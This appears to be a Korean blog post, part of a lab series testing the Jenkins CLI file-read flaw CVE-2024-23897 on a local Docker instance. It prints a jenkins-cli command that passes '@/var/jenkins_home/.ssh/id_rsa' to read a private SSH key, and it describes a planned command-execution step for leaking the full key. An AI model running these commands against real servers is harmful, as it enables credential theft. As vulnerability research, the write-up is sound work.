본문 바로가기

카테고리 없음

Jenkins CLI (CVE-2024-23897)-3

이전의 보고서와 같이 " SHH같은 민감한 정보를 CLI 상에서 가져 올 수 있는지 다음 시간에 확인을 할 예정이다."

java -jar .\jenkins-cli.jar -s http://localhost:8080/ -auth ID:PW reload-job "@/var/jenkins_home/.ssh/id_rsa"

이와 같은 명령어를 쳤을 때 ssh 파일이 존재하지 않아서 내용이을 출력을 할 수 없었다.

 

또한 ssh파일을 따로 만들고 위와 같은 help, who-am-i 명령어를 쳐도 파일의 정말 첫 부분인 영어로된 구문만 불러 올 수 있었고 전체 파일의 내용을 불러 오는 것은 실패를 했었다. 

 

 

해당 ssh와 같은 민감한 파일도 읽을 수 있는지 확인하기 위해서 위와 같이 명령어를 실행을 했지만 파일이 없어서 실습을 못함 그래서 ssh파일을 생성을 해줬다

 

 

docker exec -it jenkins-cve bash

해당 컨테이너에 먼저 들어가서 해당 .ssh파일과 디렉토리가 존제하는지 먼저 확인을 해줘야 한다.

 

ls -alh /var/ jenkins_home/.ssh

 

해당 명령어 실행 후 없는 것을 확인 실습을 위한 ssh 생성 명령어는 아래와 같다.

 

 

ssh-keygen -t rsa -b 2048 -f /var/jenkins_home/.ssh/id_rsa -N ""

 

위의 커맨드를 컨테이너에서 입력하면 아래와 같이 ssh파일이 생성이됨

 

해당 .ssh 파일을 cat 명령어를 통해 출력을 했을 때는 아래와 같이 나온다. 이것은 나중에 .xml 파일을 생성해서 conolse 명령어로 <command><command/> 태그 안에서 명령어를 삽입 후 ssh키를 파일의 전체내용을 가져오는 실습을 할 것이다.

cat /var/jenkins_home/.ssh/id_rsa <해당 경로로 파일을 만든후 cat 했을 때 ssh 값이다.>

chmod 600 /var/jenkins_home/ .ssh/id_rsa
chmod 644 /var/jenkins_home/ .ssh/id_rsa.pub

 

chomd 600으로 

user : 읽기 + 쓰기 

그룹 : 권한 없음

기타 : 권환 없음 <현재 파일은 소유자만 읽고 쓸 수 있으며, 그룹이나 다른 사용자는 접근 불가하게함>

<민감한 파일에 사용>

chmod 644 <파일의 쇼유자는 수정 가능, 읽기만 가능>

 

위와 같이 파일의 읽기 쓰기 권한을 변경을 했다

 

 

 

해당 구문을 아래와 같이 입력을 했지만 .ssh 파일의 민감한 정보를 모두 가져 올 수 었없다

java -jar .\jenkins-cli.jar -s http://localhost:8080/ -auth id:pw reload-job "@/var/jenkins_home/.ssh/id_rsa"

 

그래서 어떻게 하면 만들어 놓은 .ssh키 값을 다 가져와서 볼 수 있을지 고민을 해보았다.

 

cat /var/jenkins_home/.ssh/id_rsa <해당 경로로 파일을 만든후 cat 했을 때 ssh 값이다.>

 

 

다른 명령어를 실행을 했을 때에도 BEGIN OPENSSH PRIVATE KEY 첫 부분 만 나오지 전체 SSH 키가 나오진 않았다. 다음 시간에는 .xml 파일을 만들고  create-job 후 -> build ->console 명령어로 해당 xml을 실행을 시키고 .ssh 키가 유출이 되는지 확인을 할 것이다.